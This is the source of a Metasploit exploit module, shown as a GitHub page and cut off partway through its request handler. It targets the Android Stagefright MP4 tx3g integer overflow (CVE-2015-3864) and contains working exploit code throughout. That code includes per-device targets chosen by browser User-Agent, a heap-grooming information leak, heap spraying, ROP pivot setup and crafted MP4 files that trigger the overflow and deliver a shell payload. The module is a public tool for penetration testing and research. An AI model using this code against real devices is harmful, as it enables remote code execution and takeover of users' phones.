-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
stagefright_mp4_tx3g_64bit.rb
1214 lines (1099 loc) · 39.4 KB
/
stagefright_mp4_tx3g_64bit.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "Android Stagefright MP4 tx3g Integer Overflow",
'Description' => %q{
This module exploits an integer overflow vulnerability in the Stagefright
Library (libstagefright.so). The vulnerability occurs when parsing specially
crafted MP4 files. While a wide variety of remote attack vectors exist, this
particular exploit is designed to work within an HTML5 compliant browser.
Exploitation is done by supplying a specially crafted MP4 file with two
tx3g atoms that, when their sizes are summed, cause an integer overflow when
processing the second atom. As a result, a temporary buffer is allocated
with insufficient size and a memcpy call leads to a heap overflow.
This version of the exploit uses a two-stage information leak based on
corrupting the MetaData that the browser reads from mediaserver. This method
is based on a technique published in NorthBit's Metaphor paper. First,
we use a variant of their technique to read the address of a heap buffer
located adjacent to a SampleIterator object as the video HTML element's
videoHeight. Next, we read the vtable pointer from an empty Vector within
the SampleIterator object using the video element's duration. This gives
us a code address that we can use to determine the base address of
libstagefright and construct a ROP chain dynamically.
NOTE: the mediaserver process on many Android devices (Nexus, for example) is
constrained by SELinux and thus cannot use the execve system call. To avoid
this problem, the original exploit uses a kernel exploit payload that disables
SELinux and spawns a shell as root. Work is underway to make the framework
more amenable to these types of situations. Until that work is complete, this
exploit will only yield a shell on devices without SELinux or with SELinux in
permissive mode.
},
'License' => MSF_LICENSE,
'Author' =>
[
# Exodus/jordan # initial discovery / disclosure
'jduck', # Metasploit module, further infoleak development
'NorthBit' # intiial information leak implementation
],
'References' =>
[
[ 'CVE', '2015-3864' ],
[ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ],
[ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ],
[ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ],
[ 'URL', 'https://github.com/NorthBit/Metaphor' ],
# Not used, but related
[ 'URL', 'http://drops.wooyun.org/papers/7558' ],
[ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ],
[ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ],
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true,
},
#'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp' },
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X64, ARCH_MIPSLE],
'Targets' =>
[
[ 'Automatic', {} ],
#
# Each target includes information about the device, firmware, and
# how exactly to about exploiting it.
#
# Primarily, these targets are used to map a browser's User-Agent to
# exploit specifics for that device / build.
#
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX21P',
'Release' => '5.0',
'Rop' => 'lrx',
'SprayAddress' => 0xb1508000
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22G',
'Release' => '5.0.2',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47O',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47V',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY48G',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22G',
'Release' => '5.0.2',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47O',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47V',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)',
{
'Model' => 'Nexus 5',
'Build' => 'LRX21O',
'Release' => '5.0',
'Rop' => 'lrx'
}
],
[
'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 5',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY47D',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY47I',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY48B',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 6 (shamu) with Android 5.0 (LRX21O)',
{
'Model' => 'Nexus 6',
'Build' => 'LRX21O',
'Release' => '5.0',
'Rop' => 'lrx'
}
],
[
'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 6',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47D)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47D',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47E)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47E',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47I)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47I',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)',
{
'Model' => 'Nexus 6',
'Build' => 'LYZ28E',
'Release' => '5.1.1',
'Rop' => 'shamu / LYZ28E'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47M)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47M',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47Z',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)',
{
'Model' => 'Nexus 6',
'Build' => 'LVY48C',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)',
{
'Model' => 'Nexus 6',
'Build' => 'LYZ28J',
'Release' => '5.1.1',
'Rop' => 'shamu / LYZ28J'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)',
{
'Model' => 'Nexus 6',
'Build' => 'LVY48E',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)',
{
'Model' => 'SM-G900V',
'Build' => 'LRX21T',
'Release' => '5.0',
'Rop' => 'sm-g900v / OE1',
'SprayAddress' => 0xaf008000,
'SampleIteratorSize' => 0xa8,
'VectorSize' => 0xec
}
]
],
'Privileged' => true,
'DisclosureDate' => '2015-08-13',
'DefaultTarget' => 0,
'Notes' =>
{
'AKA' => ['stagefright']
}
))
=begin
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
])
=end
end
def exploit
@peers = {}
super
end
def get_target(request)
agent = request.headers['User-Agent']
self.targets.each do |t|
next if t.name == 'Automatic'
regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}")
return t if (agent =~ /#{regexp}/)
end
return nil
end
#
# Construct a page worth of data that we'll spray
#
# NOTE: The data within is target-specific
#
def build_spray(my_target, peer, spray_addr)
# Initialize the page to a reasonable state.
page = ''
page = rand_text(4096)
# Load target-based exploit-specific variables
details = get_details(my_target)
return nil if details.nil?
# Calculate the libstagefright.so base address
vector_rva = details['VectorRVA']
vector_ptr = peer[:vector_vtable_addr]
libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000)
# If we smash mDataSource, this ends up controlling the program counter!!
=begin
0xb65fd7c4 <parseChunk(long long*, int)+4596>: ldr r2, [r0, #0]
0xb65fd7c6 <parseChunk(long long*, int)+4598>: str r1, [sp, #0]
0xb65fd7c8 <parseChunk(long long*, int)+4600>: ldr r5, [r7, #0]
0xb65fd7ca <parseChunk(long long*, int)+4602>: str r5, [sp, #4]
0xb65fd7cc <parseChunk(long long*, int)+4604>: ldr r6, [r2, #28]
0xb65fd7ce <parseChunk(long long*, int)+4606>: ldrd r2, r3, [r10]
0xb65fd7d2 <parseChunk(long long*, int)+4610>: blx r6
0xb65fd7d4 <parseChunk(long long*, int)+4612>: ldrd r2, r3, [sp, #64] ; 0x40
=end
# Initialize our pivot values and adjust them to libstagefright's base.
# First, load r0 (pointer to our buffer) into some register..
mds_pivot1 = libsf_base + details['Pivot1']
# Next, load sp (and probably other stuff) from there
mds_pivot2 = libsf_base + details['Pivot2']
# Finally, skip over some stuff and kick of the ROP chain
mds_adjust = libsf_base + details['Adjust']
# The offset to the ROP change beginning
rop_start_off = 0x30
# Point sp to the remainder of the ROP chain
new_sp = spray_addr + rop_start_off
# Sometimes the spray isn't aligned perfectly, this fixes that situation...
unalign_off = 0x998
new_sp2 = new_sp + 0x1000 - unalign_off
# This pointer should point to the beginning of the shellcode payload
payload_ptr = spray_addr + 0xa0
# Put the stack back!
stack_fix = "\x0a\xd0\xa0\xe1" # mov sp, r10 ; restore original sp
# Depending on the pivot strategy in use, we have to set things up slightly
# differently...
#
# In each case, we use a two-stage pivot that reads the spray address from
# r0 (we smashed that, remember).
#
# The addroffs array is used to map values to the offsets where the pivots
# expect them to be.
#
case details['PivotStrategy']
when 'lrx'
addroffs = [
[ 0x0, new_sp ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ],
]
# Since we are only popping one item in pivot2, we reduce the rop_start_off
rop_start_off -= 4
# Adjust the payload pointer
payload_ptr -= 4
when 'lmy-1'
addroffs = [
[ 0x8, new_sp ],
[ 0xc, mds_adjust ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ]
]
when 'lmy-2'
ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18 # adjust for displacement
addroffs = [
[ 0x0, ptr_to_mds_pivot2 ],
[ 0x8, new_sp ],
[ 0xc, mds_adjust ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ]
]
stack_fix = "\x09\xd0\xa0\xe1" # mov sp, r9 ; restore original sp
when 'lyz'
ptr_to_mds_pivot2 = spray_addr + 0x8
addroffs = [
[ 0x0, ptr_to_mds_pivot2 ],
[ 0x8, mds_pivot2 ],
[ 0x1c, mds_pivot1 ],
[ 0x24, new_sp ],
# lr is at 0x28!
[ 0x2c, mds_adjust ]
]
# We can't fix it becuse we don't know where the original stack is anymore :-/
stack_fix = ""
when 'sm-g900v'
addroffs = [
[ 0x4, mds_adjust ],
[ 0x10, new_sp ],
[ 0x1c, mds_pivot1 ],
[ 0x20, mds_pivot2 ]
]
else
print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!")
return nil
end
# We need our ROP to build the page... Create it.
rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] })
# Fix up the payload pointer in the ROP
idx = rop.index([ 0xc600613c ].pack('V'))
rop[idx, 4] = [ payload_ptr ].pack('V')
# Insert the ROP
page[rop_start_off, rop.length] = rop
# Insert the special values...
addroffs.each do |ao|
off,addr = ao
page[off,4] = [ addr ].pack('V')
# Sometimes the spray isn't aligned perfectly...
if addr == new_sp
page[off+unalign_off,4] = [ new_sp2 ].pack('V')
else
page[off+unalign_off,4] = [ addr ].pack('V')
end
end
page
end
#
# MPEG-4 specific functionality
#
def get_atom(tag, data='', length=nil)
if tag.length != 4
raise 'Yo! They call it "FourCC" for a reason.'
end
length ||= data.length + 8
if length >= 2**32
return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join
end
[ [ length ].pack('N'), tag, data ].join
end
def get_stsc(num)
stsc_data = [ 0, num ].pack('N*') # version/flags, mNumSampleToChunkOffsets
stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num
get_atom('stsc', stsc_data)
end
def get_ftyp
# Build the MP4 header...
ftyp = 'mp42'
ftyp << [ 0 ].pack('N')
ftyp << 'mp42'
ftyp << 'isom'
get_atom('ftyp', ftyp)
end
def get_pssh(alloc_size)
pssh_data = ''
pssh_data << [ 0 ].pack('N')
pssh_data << [ 0, 0, 0, 0 ].pack('N*')
pssh_data << [ alloc_size ].pack('N')
alloc_size.times do |off|
pssh_data << [ 0x55aa0000 + off ] .pack('V')
end
get_atom('pssh', pssh_data)
end
def get_metaitem(tag, type, data)
ret = ''
ret << tag.reverse
ret << type.reverse
case type
when 'in32'
ret << [ 4, data ].pack('V*')
when 'in64'
ret << [ 8, data ].pack('V*')
else
raise "How do you expect me to make a #{type.inspect} ??"
end
ret
end
def jemalloc_round(sz)
# These are in the 16-byte aligned runs
if (sz > 0x10 && sz <= 0x80)
round = 16
# 160 starts the 32-byte aligned runs
elsif (sz > 0x80 && sz <= 0x140)
round = 32
else
raise "Don't know how to round 0x%x" % sz
end
ret = (sz + (round - 1)) / round
ret *= round
return ret
end
#
# Leak data from mediaserver back to the browser!
#
# Stage 1 - leak a heap pointer near a SampleIterator object
# Stage 2 - read a code pointer from the SampleIterator object
#
def get_mp4_leak(my_target, peer)
# MPEG4 Fileformat Reference:
# http://qtra.apple.com/index.html
#
# Structure:
# [File type Chunk][Other Atom Chunks]
#
# Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
#
sampiter_alloc_size = 0x78
sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil?
sampiter_rounded = jemalloc_round(sampiter_alloc_size)
vector_alloc_size = 0x8c
vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil?
groom_count = 0x10
is_samsung = (my_target['Rop'] == 'sm-g900v / OE1')
# Coerce the heap into a favorable shape (fill holes)
shape_vector = get_pssh(vector_alloc_size)
# Allocate a block of memory of the correct size
placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C'))
# Make the first tx3g chunk, which is meant to overflow into a MetaData array.
# We account for the overhead of both chunks here and aim for this layout:
#
# placeholder after re-allocation | vector array data
# <len><tag><padding><is-64bit><tag><len hi><len low> | <overflow data>
#
# Realistically, tx3g1_padding can be any number that rounds up to the
# correct size class.
tx3g1_overhead = 0x8
tx3g2_overhead = 0x10
tx3g_target = jemalloc_round(vector_alloc_size)
tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead)
tx3g_data = 'x' * tx3g1_padding
tx3g_1 = get_atom('tx3g', tx3g_data)
# NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only)
# avcC was in the initial commit.
near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size)
# Craft the data that will overwrite the header and part of the MetaData
# array...
more_data = ''
more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*')
# Now add the thing(s) we want to control (partially)
#
# We add some BS entries just to kill the real 'heig' and get proper
# ordering...
near_sampiter_addr = peer[:near_sampiter_addr]
if near_sampiter_addr.nil?
# Part 1. Leak the address of a chunk that should be adjacent to a
# SampleIterator object.
if is_samsung
# On Samsung:
# Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
# After: dmcE, abc1, abc2, abc3, heig...
more_data << get_metaitem('dmcE', 'in32', 1)
more_data << get_metaitem('abc1', 'in32', 31335)
more_data << get_metaitem('abc2', 'in32', 31336)
end
# On Nexus:
# Before: heig, hvcc, inpS, mime, text, widt
# After: abc3, heig...
more_data << get_metaitem('abc3', 'in32', 31337)
# NOTE: We only use the first 12 bytes so that we don't overwrite the
# pointer that is already there!
heig = get_metaitem('heig', 'in32', 31338)
more_data << heig[0,12]
else
# Part 2. Read from the specified address, as with the original Metaphor
# exploit.
if is_samsung
# On Samsung:
# Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
# After: dmcE, dura, ...
more_data << get_metaitem('dmcE', 'in32', 1)
else
# On Nexus:
# Before: avcc, heig, inpS, mime, text, widt
# After: dura, ...
near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size)
end
# Try to read the mCurrentChunkSampleSizes vtable ptr within a
# SampleIterator object. This only works because the Vector is empty thus
# passing the restrictions imposed by the duration conversion.
ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30
more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable)
end
# The tx3g2 then needs to trigger the integer overflow, but can contain any
# contents. The overflow will terminate at the end of the file.
#
# NOTE: The second tx3g chunk's overhead ends up in the slack space between
# the replaced placeholder and the MetaData Vector contents.
big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size
tx3g_2 = get_atom('tx3g', more_data, big_num)
# Create a minimal, verified 'trak' to satisfy mLastTrack being set
stbl_data = get_stsc(1)
stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets
stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes
stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount
stbl = get_atom('stbl', stbl_data)
verified_trak = get_atom('trak', stbl)
# Start putting it all together into a track.
trak_data = ''
if is_samsung
# Put some legitimate duration information so we know if we failed
mdhd_data = [ 0 ].pack('N') # version
mdhd_data << "\x00" * 8 # padding
mdhd_data << [ 1 ].pack('N') # timescale
mdhd_data << [ 314 ].pack('N') # duration
mdhd_data << [ 0 ].pack('n') # lang
trak_data << get_atom('mdhd', mdhd_data)
end
# Add this so that our file is identified as video/mp4
mp4v_data = ''
mp4v_data << [ 0 ].pack('C') * 24 # padding
mp4v_data << [ 1024 ].pack('n') # width
mp4v_data << [ 768 ].pack('n') # height
mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length) # padding
trak_data << get_atom('mp4v', mp4v_data) # satisfy hasVideo = true
# Here, we cause allocations such that we can replace the placeholder...
if is_samsung
trak_data << placeholder # Somethign we can free
trak_data << shape_vector # Eat the loose block...
trak_data << stbl # Cause the growth of the track->meta Vector
else
trak_data << stbl # Cause the growth of the track->meta Vector
trak_data << placeholder # Somethign we can free
trak_data << shape_vector # Eat the loose block...
end
# Add the thing whose entry in the MetaData vector we want to overwrite...
trak_data << near_sampiter
# Get our overflow data into memory
trigger = ''
trigger << tx3g_1
# Free the place holder
trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C'))
# Overflow the temporary buffer into the following MetaData array
trigger << tx3g_2
# !!! NOTE !!!
# On Samsung devices, the failure that causes ERR to be returned from
# 'tx3g' processing leads to "skipTrack" being set. This means our
# nasty track and it's metadata get deleted and not returned to the
# browser -- effectively killing the infoleak.
#
# However! It also handles "skipTrack" being set specially and does not
# immediately propagate the error to the caller. Instead, it returns OK.
# This allows us to triggering the bug multiple times in one file, or --
# as we have in this case -- survive after and return successfully.
if is_samsung
# Add this as a nested track!
trak_data << get_atom('trak', trigger)
else
trak_data << trigger
end
trak = get_atom('trak', trak_data)
# On Samsung devices, we could put more chunks here but they will
# end up smashing the temporary buffer further...
chunks = []
chunks << get_ftyp()
chunks << get_atom('moov')
chunks << verified_trak * 0x200
chunks << shape_vector * groom_count
chunks << trak
mp4 = chunks.join
mp4
end
def get_mp4_rce(my_target, peer)
# MPEG4 Fileformat Reference:
# http://qtra.apple.com/index.html
#
# Structure:
# [File type Chunk][Other Atom Chunks]
#
# Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
#
chunks = []
chunks << get_ftyp()
# Note, this causes a few allocations
moov_data = ''
mvhd_data = [ 0, 0x41414141 ].pack('N*')
mvhd_data << 'B' * 0x5c
moov_data << get_atom('mvhd', mvhd_data)
# Add a minimal, verified 'trak' to satisfy mLastTrack being set
verified_trak = ''
stbl_data = get_stsc(0x28)
stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets
stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes
stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount
verified_trak << get_atom('trak', get_atom('stbl', stbl_data))
# Add it to the file
moov_data << verified_trak
# The spray_addr field is typically determined empirically (by testing), but
# has proven to be fairly predictable (99%). However, it does vary from
# one device to the next (probably determined by the pre-loaded libraries).
spray_addr = 0xb0c08000
spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil?
# Construct a single page that we will spray
page = build_spray(my_target, peer, spray_addr)
return nil if page.nil?
# Build a big block full of spray pages and and put it in an avcC chunk
# (but don't add it to the 'moov' yet)
spray = page * (((16 * 1024 * 1024) / page.length) - 20)
avcc = get_atom('avcC', spray)
# Make the nasty trak
tkhd1 = ''
tkhd1 << [ 0 ].pack('C') # version
tkhd1 << 'D' * 3 # padding
tkhd1 << 'E' * (5*4) # {c,m}time, id, ??, duration
tkhd1 << 'F' * 0x10 # ??
tkhd1 << [
0x10000, # a00
0, # a01
0, # dx
0, # a10
0x10000, # a11
0 # dy
].pack('N*')
tkhd1 << 'G' * 0x14 # ??
# Add the tkhd (track header) to the nasty track
trak1 = ''
trak1 << get_atom('tkhd', tkhd1)
# Build and add the 'mdia' (Media information) to the nasty track
mdia1 = ''
mdhd1 = [ 0 ].pack('C') # version
mdhd1 << 'D' * 0x17 # padding
mdia1 << get_atom('mdhd', mdhd1)
mdia1 << get_atom('hdlr', 'F' * 0x38) # Media handler
dinf1 = ''
dinf1 << get_atom('dref', 'H' * 0x14) # Data information box
minf1 = ''
minf1 << get_atom('smhd', 'G' * 0x08)
minf1 << get_atom('dinf', dinf1)
stbl1 = get_stsc(2)
minf1 << get_atom('stbl', stbl1)
mdia1 << get_atom('minf', minf1)
trak1 << get_atom('mdia', mdia1)
# Add something to take up a slot in the 0x20 size range
# NOTE: We have to be able to free this later...
block = 'Q' * 0x1c
trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))
# Add a Track (hopefully right after)
trak1 << verified_trak
# Add the avcC chunk with the heap spray. We add it here so it's sure to be
# allocated when we get control of the program counter...
trak1 << avcc
# Build the first of the nasty pair of tx3g chunks that trigger the
# vulnerability
alloc_size = 0x20
overflow_size = 0xc0
overflow = [ spray_addr ].pack('V') * (overflow_size / 4)
tx3g_1 = get_atom('tx3g', overflow)
trak1 << tx3g_1
# Free the original thing and put the tx3g temporary in it's place...
block = 'R' * 0x40
trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))
# Make the second one, which triggers the integer overflow
big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size
more_data = [ spray_addr ].pack('V') * (overflow_size / 4)
tx3g_2 = get_atom('tx3g', more_data, big_num)
trak1 << tx3g_2
# Add the nasty track to the moov data
moov_data << get_atom('trak', trak1)
# Finalize the moov chunk
moov = get_atom('moov', moov_data)
chunks << moov
# Combine outer chunks together and voila.
mp4 = chunks.join
mp4
end
def on_request_uri(cli, request)
# If the request is for an mp4 file, we need to get the target from the @peers hash
if request.uri =~ /\.mp4\?/i
mp4_fn = request.uri.split('/')[-1]
mp4_fn = mp4_fn.split('?')[0]
mp4_fn[-4,4] = ''
peer = @peers[mp4_fn]
my_target = nil
my_target = peer[:target] if peer
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer")
return
end
# Extract the address(s) we just leaked...
sia_addr = request.qstring['sia'].to_i # near_sampiter data address
peer[:near_sampiter_addr] = sia_addr if sia_addr > 0
sfv_addr = request.qstring['sfv'].to_i # stagefright Vector<size_t> vtable ptr
